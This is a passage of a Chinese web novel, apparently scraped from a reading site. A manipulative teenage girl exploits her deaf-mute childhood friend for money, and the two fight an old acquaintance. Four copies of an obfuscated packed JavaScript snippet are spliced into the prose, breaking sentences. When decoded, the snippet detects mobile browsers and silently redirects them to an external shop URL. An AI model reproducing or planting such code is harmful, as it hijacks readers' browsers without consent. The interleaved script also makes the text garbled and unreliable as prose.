遇见林家豪那都是小事,易佳期是怕万一李树后悔了,把钱给昧了。 “你刚才也看见了,这宾馆的房间贵的不像给人住的,后面要用钱的地方多着呢,能省就省,而且那大床房多脏啊。” “再不想和我住,也就两三天,等我办了银行卡把钱存了就回家,到时候你爱睡哪睡哪。” 见她这样说,李树连忙摇头。 「不嫌你。」 「我就是这里有点不舒服,很紧。」李树指了指心口。这种感觉,从他进了门,看见中间只隔了个床头柜的两张床就开始了。 易佳期也是头一次听说李树有这毛病,眼睛一瞪:“干啥,有心脏病?” “你还能再悲催点吗?” 又聋又哑,再要添个心脏病,搁他身上都能开家医院了。 心脏病这个词一下把李树震住了,这得花多少钱,他最怕花钱,赶忙比划:「现在好了,不紧了。」 易佳期:“行,那你赶紧收拾收拾,一会我洗完澡就关灯,明个还得去学校。” 上午最后一节课是小组讨论,易佳期请了个假,趁银行午休之前去办了张银行卡。 这次是用她自己的身份证办的。 易佳期越发觉得这笔钱来得相当是时候。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485755|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 上个月她正好成年,又因为刚去了上海,买票坐车的,身份证一直带在身上。 这笔钱就这么严丝合缝地插进她的存款里。 新的银行卡当场就办下来了,看了看手机还不到十二点,离上课的时间还早,易佳期在附近转了转,点了碗土豆粉,最后又在一旁的超市买了点方便面矿泉水。 晚自习讲卷子,拖了小半堂课,放学放得晚,到宾馆已经夜里十点多。 李树还没有睡。 易佳期把手里的东西放下,走到李树跟前,“你今天没出去吧?” 李树摇头:「没出去。」 “那就行。” 易佳期上了一天课,屁股一挨上床就起不来了,顺势往后一躺,“舒服啊。” 她躺了一会,才转头问李树,“今天吃的什么?” 她主要想问李树吃饭花了多少钱。 没想到,李树摇了摇头,「没有吃。」 易佳期惊了:“午饭晚饭都没吃?你修仙呢?” 李树指了指床头柜上的菜单,「太贵了。」 易佳期很欣慰,真心诚意夸了李树一句,“你真省钱。” 她躺着,用脚尖点了点床尾的塑料袋,“我买了点方便面,去烧点水去,等你吃完跟着我去把钱给存了。” 小县城没什么夜生活,一过9点街上基本没什么人了。俩人出门的时候已经快零点,街上黑乎乎一片,别说人了,鬼都歇了。 宾馆开在汽运站附近,平日迎来送往的,银行跟站岗似的开了一排。易佳期瞅准自动存款机,关门落锁,把李树留在外头。 等她出来的时候,书包已经空了。 回到房间,两个人都没有睡,躺在床上各自睁着眼睛。 易佳期很兴奋,一天之间,账户多了20万,至少大学毕业之前都不愁没钱花。 这种坐享其成的便宜让她心情大好,第一次主动给季昀发了消息。 季昀秒回她,连发了好几个惊讶的表情,显然受宠若惊。 易佳期懒得打字,直接发了几条语音,问他复习的怎么样,有没有好好想她。 季昀回了她一些黏糊糊的话,易佳期笑了笑,继续和他聊。 李树朝她的方向侧躺,安静看着她,眼睛睁的很大。 他好奇这么晚易佳期在和谁聊天,聊得那么开心,一直笑,一直对着手机讲话,可是他听不见。 过了很久,易佳期才放下手机。 没了手机的遮挡,李树的视线无处可躲,直直与易佳期对视。 易佳期心情好,没忍住逗他,“看我呢,还是看我手机呢?” 她手上拿的是苹果6,就是李树买的那一台。 李树回的很诚实:「都看了。」 他又问:「好用吗?」 易佳期很无所谓道:“也就那样吧。怎么了,你想要回去?” 李树摆手,「不要,用不惯。」 易佳期挑了挑眉,她也没真想还回去。 “明天我就不上这来了,你后面有什么打算吗?”她问。 李树坐起身来,把之前装钱的书包拖到床头柜前,拉开夹层的拉链,掏出张小广告。 他把小广告摊在床头柜上,「市里电子厂招人。」 易佳期伸手把那张纸扯过来,扫了一眼,上面招的是流水线工人,管吃管住,不用另外花钱了。“这活不错。”她评价。 李树仔细看着她,半晌,还是把心里的话问了出来。 「你会带我走吧。」 易佳期不假思索,“当然。” 不会。 “你先去干三个月,躲一阵,等我高考完,我带你走。” 李树终于露出放松的微笑。 真好骗,易佳期也笑了。 8. 柠檬 看了看表,已经凌晨一点了,易佳期定了个闹钟,开始酝酿睡意。 她身边的人却开始辗转反侧起来。 兴奋的转盘似乎转了个平角,指向了另一端。 易佳期背过身,困意刚从脑袋钻到脖子,便被一根不请自来的手指头打断。 李树在戳她后背。 她眯着眼转回身来,正对上李树黑溜溜的眼睛。“干啥?” 她的燥意气势汹汹,李树的兴奋怯怯缩了回去,「你是不是睡着了。」 废话,她没好气,“有屁快放!” 李树只好硬着头皮比划,「你为什么答应带我走?」 易佳期皱了皱眉,心说,这有什么为什么的,嘴皮子上下一碰的事呗,反正又不用负责。 她把问题踢回去:“你觉得呢。” 李树做了个口型,「季昀」 「是不是因为他?」 “什么?” 李树再次确认「不是因为我帮你处理了他吗?」 那天,易佳期扔到他桌子上的笔记里,只写了季昀二字。 「七个麻烦,他是最后一个。」 何栋、王顾、贺翔、赵签、孙良、钱坤、季昀。七个人,每个人的名字他都记得清清楚楚。 “只要所有讨厌的人从我的生活消失,我就原谅你。” 七个,是易佳期当初设下的条件。 他绕了这么大一圈,其实最想问的是「你现在原谅我了吗?」 “帮我处理?”易佳期眼睛彻底睁开,“你能不能别总把自己塑造的这么清纯无辜?我只想让他滚,人不是你打的?” 李树没话比划,人确实是他打的。 “再说,你难道就不讨厌他?你又聋又哑,没妈没爹,如果全校人都是你这条件,你还觉得自己可怜吗?但偏偏不,他身体健全,家庭美满,还那么有钱,天天在你脸前晃悠,越对比你越可怜,这难道不是他把你害的那么惨吗?” 李树被易佳期连珠炮的反问问懵了。 他没想过这些,他只知道,易佳期讨厌季昀,那他也应该讨厌他。 他反应了一会,讷讷地回话:「他的手已经断了。」这还不够吗? 易佳期盯着他看,冷冰冰道:“那怎么了?和我有什么关系?” “你可怜他?” “他高考考不好还可以出国,要不是我,他早就开始考雅思了,你还可怜他?先心疼心疼你自己吧。” 李树不知道易佳期为什么突然这么生气,只好不再“说话”。 易佳期却不是那么见好就收的人。 李树的邀功让她不爽,也让她不安。她笑得很讽刺:“你是不是觉得给了我点钱,就能拿捏我了?” “告诉你,这二十万,不是你给我的,是你还我的。” “你欠我的,连本带利,把你全身器官卖了都还不完。” 李树无力反驳,「对不起。」 易佳期耐心耗尽,转头关灯睡觉。 黑暗迅速扩张,整个房间只剩李树床头的光源。 橘黄色的灯光罩在地上,也罩在他身上。他低头,灯光扫到他手肘上的疤痕,他经常打架,免不了挂彩,身上到处是或长或短的伤口。 几天过去,已经结痂,冒出新鲜的粉色。 盖住了最下面,那条豆白的肉痕。 他盯着那道凸起的痕迹看,盯着,盯着,几乎盯出一桩陈年旧事来。 那时,他和易佳期,还是很好很好的朋友。 - “树儿,快到你家咯。”大爷抽着烟,说话时,烟灰跟着嘴动的幅度往下抖。 李树点点头,眼睛却看着手边的门把。 他默默演练着如何开车门。 和之前那辆还要手动摇窗户的车不同,大爷的新车什么都是电动的,宝马牌的,很贵,李树从来没坐过。 第一次坐,就是送他回家。 李树没什么东西,行李少,也轻,到了地方,他自己背着旅行包下车。 开门前,大爷扭过头来,冲他说话:“树儿,别怨你大爷。我们好不容易找到关系,让你哥去北京上学。” “等以后,有了条件,大爷就把你接过去。” 李树看了大爷好久,看他的嘴型,看他的表情。 他没有点头,就这么下车了。 楼上几户人家的窗户都敞开了,不知道是看他,还是看大爷的宝马。 李树抬头望了望,正好与几双好事的眼睛对上。 他们的嘴巴在动,李树听不到声音,却能看到声音。 “瞅瞅,宝马都开上了,你看这三楼的留这么多钱有啥用,亲儿子没捞上,亲哥倒是发起横财了。” “话不能这样说,那么大一笔钱,给你你也坐不住。” “那也是。” 真吵。李树低下头,扯掉脚上的鞋套,径直钻进单元门。 遇见易佳期是三天后。 正逢暑假,上学是不用上学,但外头热,又有风言风语追着他跑,李树回到家后一直没有出门。 偶尔下去扔个垃圾。 易佳期就是在他上楼时,出现的。 天热,她穿着宽大的背心,脚上踩着红彤彤的澡堂拖鞋,楼道的穿堂风一过,把她吹的鼓鼓的。 回迁房刚建成没几年,里头的住户几年里陆陆续续搬进来不知道多少批,李树对易佳期的了解仅限于她的名字,和她住在对门,是邻居。 还有…她的人缘很好,朋友很多,没搬去大爷家之前,他出门经常看到有人来找她。 往往一群人,像阵风似的,呼啦啦吹下楼。 想着,李树看她一眼,又低下头去爬楼梯。 一层层台阶往上,最上面,冒出一个红色的拖鞋尖。 李树抬头,是易佳期笑盈盈的脸。 易佳期的手搭在扶手上,问他:“前几天送你回来的那个人就是你大爷啊。” 李树盯着她的口型,漏出很茫然的样子。 聋子的世界并不完全寂静,像这样,遇到他不想看见的声音,他便假装不懂唇语。 他抬手,第无数次指向自己的耳朵,「我听不见。」 一般人这时候便会一脸尴尬地放他离去。 他挪了一步,打算从另一边过去。 没想到,易佳期再次拦住他。 这次她也抬起了手。 「前几天送你回来的那个人就是你大爷啊。」 她将刚才说的话,换成手语重新讲了一遍。 李树愣了,易佳期的手语很标准,他从小长到这么大,除了他妈,没人和他“说”过这么长的话。 即使是他爸,也只会极短的常用语,谢谢、吃饭、睡觉、好好学习,这些简单的像你好一样的手语。 他恐怕是自己看错了,手上的动作放得很慢,「你为什么会手语?」 易佳期笑得很得意,「这有什么,想学就学了,也不是很难啊。」 不是很难,但他爸到死都没学会。 易佳期没忘了她的问题,李树不回答,她就接着问:「听说你爸的赔偿款都被你大爷拿走了,那你还有钱吗?」 李树摇头,「没了。」 他又补充:「大爷每个月会打给我生活费。」 易佳期极其意味深长地看了他一眼,然后叹气,像个大人一样。 「李树,你真笨!」 「那么多钱,存在银行里,光利息就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485756|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够你生活费了。」 她哎呦哎呦,非常痛心。 原来她知道他的名字呀,李树觉得很神奇,这么受欢迎的人怎么会记得他的名字呢? 自从他爸死了,很多人都在讨论他爸,讨论他,可很少人记得他的名字,大家更关心意外险、赔偿金,甚至是大爷的宝马。 易佳期问的问题,这几天他明明“听到”很多遍,可和那些看热闹的聊闲不同,李树觉得,易佳期这样,应该是在关心他。 所以,她记住了他的名字,还学会了手语。 手语很难学的。 见他愣神,易佳期拍他,「你大爷真是个坏蛋!」 李树盯着她眼睛里黑白分明的怒气,反应了片刻,缓缓点头。 小孩子的友谊总是建立得格外轻松。 整个暑假,易佳期经常来找他。 「你要来我家玩电脑吗?」 「林家豪家的网吧淘汰下来的机子,他偷偷藏在我家了,很好玩,他有时候也会来我家玩。」 「你知道他吧,」易佳期边说边比划,「大个子林家豪。」 李树点头。 易佳期笑笑,拉他的手进家门,打开书桌上的大头电脑。 鼠标点了点,进到一个五彩斑斓的网页里。 佳佳姐和我喜欢玩冰火人,怎么样?或者造梦西游?闪翼双星?都是双人游戏。 对了,你有小名吗?佳佳姐叫鑫鑫,林家豪叫奇奇,她们都有小名。 我没有。 那我给你起一个吧。你的眼睛像黑豆,就叫豆豆吧。 哈哈,是不是有点像小狗的名字,那还是叫你圆圆吧。 圆圆你喜欢吗? 圆圆喜欢。 圆圆你喜欢冰人还是火人,选一个。 我还是…不玩了吧,我一直死。 有无敌版的,没关系。 林家豪隔三差五也会来,李树记得,林家豪第一次敲门看到他的时候,打量了很久。 随后略过他,很熟悉地往那一坐,“你怎么和这哑巴玩一起去了?不怕人家笑话你啊。” 易佳期头都没回:“你要是不想玩就走,没人拦你。” 林家豪赶忙说:“你咋了?我也没说什么啊,玩,为啥不玩。” 易佳期脸很臭:“还有,别叫他哑巴,叫他圆圆。” “行行,圆圆。” “来,圆圆,给我让个座,我也玩会。”林家豪拍他的肩膀。 易佳期转过头看他,比了比,「你看会电视,这傻子玩一小会就走了。」 说着,她还专门指了指林家豪,又比了个手枪放在嘴上。 「傻。」 她用只有她俩才会的语言,说着只有她俩才明白的话。 李树小小地笑了,见他笑,易佳期也笑。 林家豪凑近她们:“你俩在这笑什么呢?神神秘秘的,这啥意思?”林家豪也比了个手枪。 易佳期笑的更厉害,“没什么,就是枪呗,还能有啥。” 林家豪摸不着头脑,半信半疑地看着她们俩。 困惑,不知道别人在说什么,这样的心情,李树从小到大经历过无数次。 但这一秒,李树知道,她们之间,林家豪才是那个“聋子”。 他忽然感觉,天光大亮。 梦醒了。 李树撑着胳膊爬起来,有些恍惚地看了看自己。 大大的窗户,雪白的床单,床头的台灯,他在宾馆。 不在大头电脑的桌子旁。 转头,易佳期的床上已经空了,只有床单上还留着几缕她的痕迹。 当天下午,李树用易佳期给他的一百块,买了张开往市区的车票。 9. 绿火车 备考后期不过是一眨眼的事情,所有人按部就班,被高考推着向前。 临近高考,老魏早早安排下面的老师,让学生把教室布置成考场的标准。 临安拢共就两个普高,没什么空闲地方,年年高考的考点都是在这两个学校打转。 高一高二的直接放七天假。高三生分两批,走读的,离考场近的可以回家复习,考试也自行前往考场,剩下的住校生,在学校听从安排。 “那你后面都不来学校啦?” 正午的太阳照得人眯起眼,易佳期看了眼手机,才说,“不过来了,我在考场附近订了宾馆。” 前桌吴优抓住她的胳膊,哇哇乱叫:“佳期啊,比亚内,卡几嘛!” 易佳期淡定道:“I Geo Nwa Yo.”(放手) 吴优叹气:“心塞啊,你也回家,梁晶也回家,我现在整个人都不好了。” “你妈还是不同意你回去?” “是啊,死活不同意,而且是我死我活,都不同意!” 说到这,吴优来劲了,“我爸也跟着帮腔,非说在家复习影响状态,说人家季昀学习那么好,又请着好几个家教,在家复习三个月都还退步那么多,我要是回家,保准211变二本。” “你说有这么咒自己闺女的吗?” 易佳期笑了笑,没说话。 “不过,说到季昀,我想起来个事,”吴优声音不自觉压低了些:“三模出成绩那天,他回班里找你来着,你当时没在。” 易佳期一脸茫然的样子:“他来找我干什么?” 吴优摊手:“不知道啊,他也没说,不过他那天看着情绪不咋样,整个人沉闷闷的,和以前比变化真大啊。” “是吗?”易佳期猜测:“兴许是因为三模考得不太好吧。” 三模,最后一场高考标准的模拟考,很大一定程度上,可以预见高考的成绩。 季昀的三模成绩是544,参照往年的情况,分数勉强擦过一本线。 而他的一模的成绩是627。 “唉…”显然吴优也联想到了,“他可真够倒霉的。” 易佳期点头,“是啊,真可怜。” 易佳期考场分到了二中,开发区,都是新建的房子,居民不多,附近宾馆也少,房源紧缺,她很早就交了订金,预订了五晚,打算高考前两三天便入住进去。 前头空出来的这些天,她都窝在房间里复习。 其实到这种时候,该复习的早都复习了,没复习到的,死到临头也学不进,能做的也只是刷刷题,维持一下手感罢了。 易佳期没刷题,拿出自己从真题里整理出的知识点翻,知识点经过数十次的整理归纳,已经相当简明,她从头到尾看了一遍,直到确定每一个知识点都能和记忆精准对应。 做完这一切,易佳期将课本合上,长长吐了一口气。 她看向窗外,烈日将空气熏得如光栅般摇晃,充满燥意的夏日,烘烤着同样焦躁的,即将高考的少年少男们。 面对这场人生大事,易佳期心中没有紧张,反而空前平静。 紧张、迷茫、期盼,这样的情绪,只属于拥有命运的人,易佳期没有,她从出生到现在,每一个际遇,都是从这个世界抢过来的。 四天时间转眼过去了,易佳期把换洗的衣服和考试袋装好,生活用品宾馆里都有,她轻装上阵,只背了一个旅行包。 自行车还是骑的李树那辆,她原来那辆山地车骑了三四年,不是什么牌子,没什么修的必要了,卖废铁都卖不上价。 “我们要飞到那遥远地方看一看,这世界并非那么荒凉。”易佳期边唱边骑,车子从堤上溜烟而过。 快上马路时,易佳期调转车头,骨碌碌从堤旁边垒的土坡上滑下去,滑到小路上。 小县城里的车横的很,急得像必须今天死一样,红绿灯、斑马线,从来不看。易佳期骑车一般都走土路。 这条路她天天走,闭着眼都能骑出去,所以当反常出现,她也第一秒察觉。 沉重的呼吸声从她身后包过来。 呼哧呼哧,嗨呦嗨呦。 她停下来。 视线往后绕了一圈,干干净净,什么都没有。 闪这么快,说明是有躲藏意识的,这样的人,能不知道跟人的时候,也需要掩盖自己声音? 除非他耳朵不好使。 答案已经超然若揭。 易佳期翻了个白眼,从兜里掏出手机,点开企鹅,往下翻,找到一个默认头像。 聊天框是空的,只有一条默认的打招呼用语,时间是三个月之前。 易佳期打字速度飞快,只有三个字,非常不客气。 “滚出来。” 发完,她不等回复,把自行车一撂,抱着手臂,冷着脸往刚才有声响的胡同口看。 果然,片刻之后,胡同口慢慢伸出个人头。 是阔别许久的一张脸。 头发剪了,黑了点,也更瘦了。 就是在她面前那副畏畏缩缩的窝囊劲儿,不减反增,简直历久弥新。 易佳期当即眼睛一瞪:“还在那儿杵着?上这儿来!” 话毕,一条人呼哧呼哧地从墙边挪出来。 消失三个月的李树,就这么又回到她的眼前。 易佳期上前,一巴掌盖到他头上,“看你这衰样!再给我呼哧呼哧的,我就一拳头把你锤到狗熊肚子里。” 李树仔细看着她的嘴型,看清所有内容后,他吓了一跳,飞快抿住嘴巴。 * “这种时候你回来干什么?”终于吹上风扇,易佳期揪着领口,怼着风吹。 李树把她的旅行包放到地上,又放下自己的包,拉开拉链,抽出一条床单。 外面四处透风,林家豪认识的人又多,两人撞上又是一场大战,保不齐还会波及到她,她索性把李树带到宾馆。 见她说话,李树放下手里的床单,「快高考了,我来看看你。」 易佳期扬眉:“只是单纯来看看我?还是怕我自己跑了,把你扔在这儿?” 李树看着她,「那你会吗?」 易佳期一愣,李树还真把她问住了。 她笑的很冷:“李树,你这样问就很没意思,不信任我你可以走,这事儿是你求我,不是我求你。” 带带带,带个毛线,真以为自己嘴长到脸上是装饰,不吃不喝啊?还带你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485757|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带你,带你进传销还差不多! 李树摇头加摆手,「我没有这个意思。」 “我管你什么意思,再叽歪就给我滚蛋!”易佳期脾气上来了,讲话很难听。 这么些年,都是这么过来的。 心情好的时候他怎样都没事,心情不好的时候他喘个气,易佳期都恨不得攥着他的族谱骂,李树早就习惯了。 易佳期火气来的快,走的也快,忍忍就没事了。 他很识相地低下头,不再比划。 果然,没一会,易佳期就往床边的沙发上一歪,已经全然看不出生气的样子。 就在刚才,她灵机一动,想到了处理李树的方法。 她完全不用自己动手。 最关心李树的人不就是林家豪吗?她什么都不用做,只需要在她离开之前,把李树在哪的消息透出去。 自然有人帮她把这个麻烦处理掉。 麻烦解决掉,也就不是麻烦了。易佳期转头看李树,这一会功夫,李树已经把宾馆的床单换掉了,一只腿搁在床边,正俯身将新床单铺平。 “哎,你怎么不说话了?”易佳期欠欠地跑前去戳他。 李树停下手里的活,回她:「我在铺床单。」 易佳期在他身边绕了一圈,“换它干啥,刚才我看不是铺的好好的。” 她一问,李树又得放下手上的活,「很多人睡,不干净。」 床单是他提前买好的,在宿舍洗干净带过来的,他记得上次易佳期说过,大床房脏的很。 易佳期显然忘了这事。 她捏起来李树换下的白床单,正着看,反着看,“哪脏了,这不是很白吗?” 她啧啧两声,“你们男生就是事儿多。” 李树也不反驳,开始套被罩。 易佳期往床头柜上一坐,刚才光想着怎么害人了,这会她注意力才回到眼前。 她瞅着李树身上深蓝色的厂服,随手往李树身上扔了个遥控器。 李树抬起头,易佳期问:“光说别的事儿了,你工作咋样。” 说到工作,李树有了笑容。 「还可以,在工厂花不着钱,存了9千多。」 易佳期挺惊讶:“哟,可以呀,待遇快赶上公务员了。” 知道易佳期在调侃他,李树不好意思地咧嘴。 两个人的气氛终于轻松些许。 易佳期接着说:“你这也算因祸得福了,没有林家豪这事儿,你恐怕也没法下决心去市里干活。” “在咱县上哪有这么好的工作,又管吃又管住。” 说这话的空隙,李树被罩套好了。 他绕过床走过来,边走边摸裤子上的口袋,掏出来个信封,很自然地递给她。 「九千,都在这里。」 他给,易佳期就接。她撕开信封,倒出来数了数。 “给我干什么?” 李树指了指自己,「我一个月的工资有3000,我能赚钱。」 「到了上海我也能赚钱,都给你,我不要。」 易佳期从他稀碎的两句话里,拼出完整的信息。 李树在外面干了三个月,一分钱没花,都存着带回来了。 10. 青皮 话题兜兜转转又回到这里。 真行啊,出去三个月长进不少,以柔克刚这招玩的挺高明啊。 但知道归知道,握着厚实的现金,易佳期也说不出什么重话。 行吧,就当看在钱的面子上。 她从中抽出五张,“拿着零花。” 李树两个手一起摇,不要。 易佳期把钱塞到他手里,“拿着啊,我不差这五百。” 见易佳期又要瞪眼,李树没再推托,他掏出小灵通,凑到她面前。 上面是一张模糊的照片,内容是街道旁的红色招牌。 上面是英文,易佳期认识它的商标,肯德基。 李树:这个钱,我们去吃这个吧。 肯德基是半年前开业的,县上第一家,也是唯一一家。 易佳期没来过,但吃过,薛佳放假回家会买,第二天让薛英带给她。 易佳期最喜欢吃鳕鱼堡。她点了个有鳕鱼堡的套餐。 “怎么想来吃肯德基了?”易佳期拆开一盒土豆泥。 她把套餐里的玉米杯单独挑出来,“每个套餐都带玉米,真烦。” 李树冲她伸手:我吃。 接过来,他继续回答易佳期的问题,主管说,大城市年轻人都吃汉堡和西餐。 大学里年轻人最多。 易佳期其实没听明白,随口道:“就这啊。” 说着,她咬了一口蛋挞,眼睛瞬间亮了。 “这味可真带劲,你尝尝。” 李树看了一眼,摆手,你吃,我吃不惯。 易佳期吃的正香,半晌才腾出嘴搭腔:“你都没吃过,怎么知道吃不惯。” 李树比划,主管之前发奖金,请客请过这个。 易佳期乐了,“你们主管还挺大方。” 笑完,想到自己后面的计划,再看看眼前一无所知的哑巴,易佳期忽然有种在给他喂断头饭的错觉。 出于人道主义,这顿饭吃得易佳期耐心明显渐长。 她又吃了口土豆泥,“这个也不赖。” 这次不等她往那边推,李树就开始摆手了,“不要,我不爱吃。” 以往被李树这么接连扫兴,易佳期早就拍桌子瞪眼了。 但她只是揶揄道:“这从大城市回来就是不一样了,之前还没发现你这么挑嘴,那你爱吃啥?” 李树指了指玉米杯:我吃这个就行了。 套餐一会儿就吃完了,易佳期又去让店员打了个圣代,吃了两口,冰凉的滋味从舌头滑到肚腩。 易佳期深觉自己已经是老鼠进了大米缸,这么一会,她几乎将肯德基热门的东西吃了一遍,她是觉得,这个也好吃,那个也好吃。 反而平常什么都吃的李树,处处碰壁,一大桌子东西,只吃了个鸡肉卷和玉米杯。 可惜,薛英之前耳提面命,不让她们在考试前乱吃,冰的、辣的、烤的、炸的,通通禁止。 易佳期吃了两三口,便把圣代放下了。 圣代连尖儿都没下去,还剩很多,易佳期左看看,右看看,最后视线瞄准李树。 她把圣代往前一伸,命令道:“张嘴。” 李树很听话,让张嘴就张,“啊”一下,嘴巴开得很大,漏出完整的扁桃体。 很滑稽的画面,易佳期第一反应却是,真干净啊。 亮白的牙齿,干净的舌苔,还有健康的扁桃体。再看他身上的厂服,平平整整地贴在身上,整个人显得清爽、干燥。 易佳期晃了晃手里的圣代,示意李树往前一点。 李树乖乖把嘴巴凑过来。 嘴唇刚沾上一点凉意,圣代倏然往后撤,李树扑了个空。他抬眼,对上易佳期嘲弄的笑意。 “看你笨的。”易佳期笑哈哈。 李树不好意思地抿着嘴唇,也漏出一个微笑。 易佳期笑够了,又把圣代伸过去,李树依旧乖乖张开嘴巴。 这样幼稚的游戏,小孩子都不愿意玩,易佳期和李树却玩得有来有往。 能感觉得出李树在讨好她,易佳期心情不错,及时停手,把圣代给了李树。 李树咧着老实巴交的笑容来接。 东西刚接到手,李树却像被什么夺走了注意,视线冷不丁偏移,随后笑容僵在双颊上。 就那一秒,表情要多难看有多难看。 这种转变过于突兀,是国产恐怖片标准的撞鬼表现。 易佳期瞬间警觉,顺着他的视线转头,一张大脸骤然隔着玻璃和她对上,见她回头,外面的人阴沉一笑,奋力冲她脸前的玻璃锤了一记。 “爷爷的…” 她总算明白李树为什么不笑了。 玻璃那头的大脸是林家豪。 易佳期简直人都麻了,这三个月她没少在外面晃悠,一次都没碰见林家豪。 李树这刚一回来就开出这么一大奖。 还真是刮彩票能刮出欠条的衰人。 易佳期脑子转得再快,也不得不承认,她玩脱了。 计划还是那个计划,可现实像是她定好了闹钟,但计划里的小人却都不住在东八区。 所有节点,都在错误的时间出现,并且游离。 看来她果然还是不适合发善心,她就不该因为什么九千块钱,给李树好脸,这种时候陪他出门。 林家豪已经不满足于室外咆哮,他冲着玻璃转了转手腕,又转了转脚腕,最后,紧紧盯着她们,做了个口型。 “你们给我等着!” 显然,林家豪已经把她划为李树同伙。 易佳期感觉脑袋嗡的一声,什么都顾不了了,抓起手机,跳起来就往外跑。 她在前面库库跑,李树在后面猛猛追,林家豪在最后面龇牙咧嘴。 李树、林家豪,两个人都是狗性子,跑越快撵越紧。 易佳期只能马不停蹄。 跑着,心里抽空冒出几分悔恨,早知道小时候不让他们俩学狗叫玩了。 谁能想到真给他俩学成狗了? 三个人就这么一环扣一环,飞街蹿巷,一块跟着易佳期骨碌进胡同里。 前面没路了,易佳期又恼又怒,又累,索性破罐子破摔,往边上的石墩子上一坐。 冲着两个人撵来的方向喘粗气。 李树追上来,见她停了,也停下来。他扶了扶胸口,猛咳一下,站到她身侧,挡在林家豪追来的方向。 林家豪姗姗来迟。 还不等易佳期动作,林家豪便把手往前一推,“等会等会…” 他扶住膝盖,上气不接下气,“暂停一下。” 易佳期猛朝李树使眼色:“偷袭他!快点!” 李树看懂她的嘴型,当即一个箭步冲上去,对着林家豪肚子就是飞天一脚。 林家豪还没反应过来呢,揍就挨身上了,他哎呦叫了一声,大骂道:“李树,你大爷的,耍赖皮!” 他堪堪维持着站姿,不等他还手,李树又是一拳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485758|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着风声砸到他脸上。 李树手黑,力气大,又是不要命的打法,单打独斗从来不怵。林家豪没了跟班,对上李树基本没有胜算,敢追过来完全凭着一腔怒火,和他从生下来就歇菜的智商。 不出十分钟,林家豪就被李树锤到地上,他倾身一压,膝盖重重砸在林家豪胸口,一手锁住胳膊,一手锁住脖子。 搞定一切,李树扭过头来,用眼神朝易佳期请示。 易佳期这才慢悠悠地从石墩子上站起来。 如果说刚才只是猜测,但现在的情形,已经百分百可以确定,易佳期和李树就是一伙的了。 林家豪眼睛死死盯着走过来的易佳期,“为什么?为什么!” “从小到大,从来都是你说什么我做什么,你为什么要这么对我?!” 林家豪死死缠了李树三个多月,什么办法都用了,李树理所当然认为这波林家豪也是冲他来的。 但现在,话里话外,林家豪都把矛头对准易佳期,李树不理解,但从林家豪冲易佳期大喊大叫的样子来看,他的语气应该很不尊敬。 李树皱了皱眉,抽出手给了林家豪一个大嘴巴。 对此,易佳期只是旁观着,无动于衷。 林家豪突然疯了,大笑。 “我就知道!小时候你就偏心眼,李树一不高兴就是我的锅,我俩一闹矛盾就是我的错。你不就是看不起我,觉得我是个混子,心眼坏,上梁不正下梁歪。” 这不是废话吗,易佳期心说,李树小时候长啥样你长啥样?一个从小就有眼色,又给她买雪糕又给她买零食,一个带张嘴只知道吃,玩游戏还拼命按她家键盘,偏心这事怨得着她吗? 见她装都不带装一下,否认都不否认了,林家豪惨淡一笑,调转火车头,开始朝李树撞。 “你知道李树现在什么样吗?还以为他是之前那个小白兔呢,你出去问问,谁不知道一中有个叫李树的,隔三差五进派出所。” “就连飞哥,那么混蛋一个人,都劝我们离李树远点,说他没底线没分寸,早晚身上背条人命,进去吃牢饭。” 他情绪激动语速飞快,李树读得很费劲,但也知道林家豪没说他什么好话。 他心一紧,转头看易佳期的反应。 易佳期只是淡淡站在他身后。 林家豪什么都明白了,“看来你都知道。” 易佳期往前走了一步,蹲下来,“时间宝贵,我想你也不是来找我们追忆童年的。” 她拍拍林家豪的脸,“咱们打开天窗说亮话,高考结束之前,不要找我和李树的麻烦。” “你想要的解释,之后我都能给你。” 马上高考,易佳期实在没心思纠缠这些事,能拖就拖。 李树这个位置,只能看见易佳期的后脑勺。 他只能盯着林家豪的嘴巴看,推测两个人之间的对话。 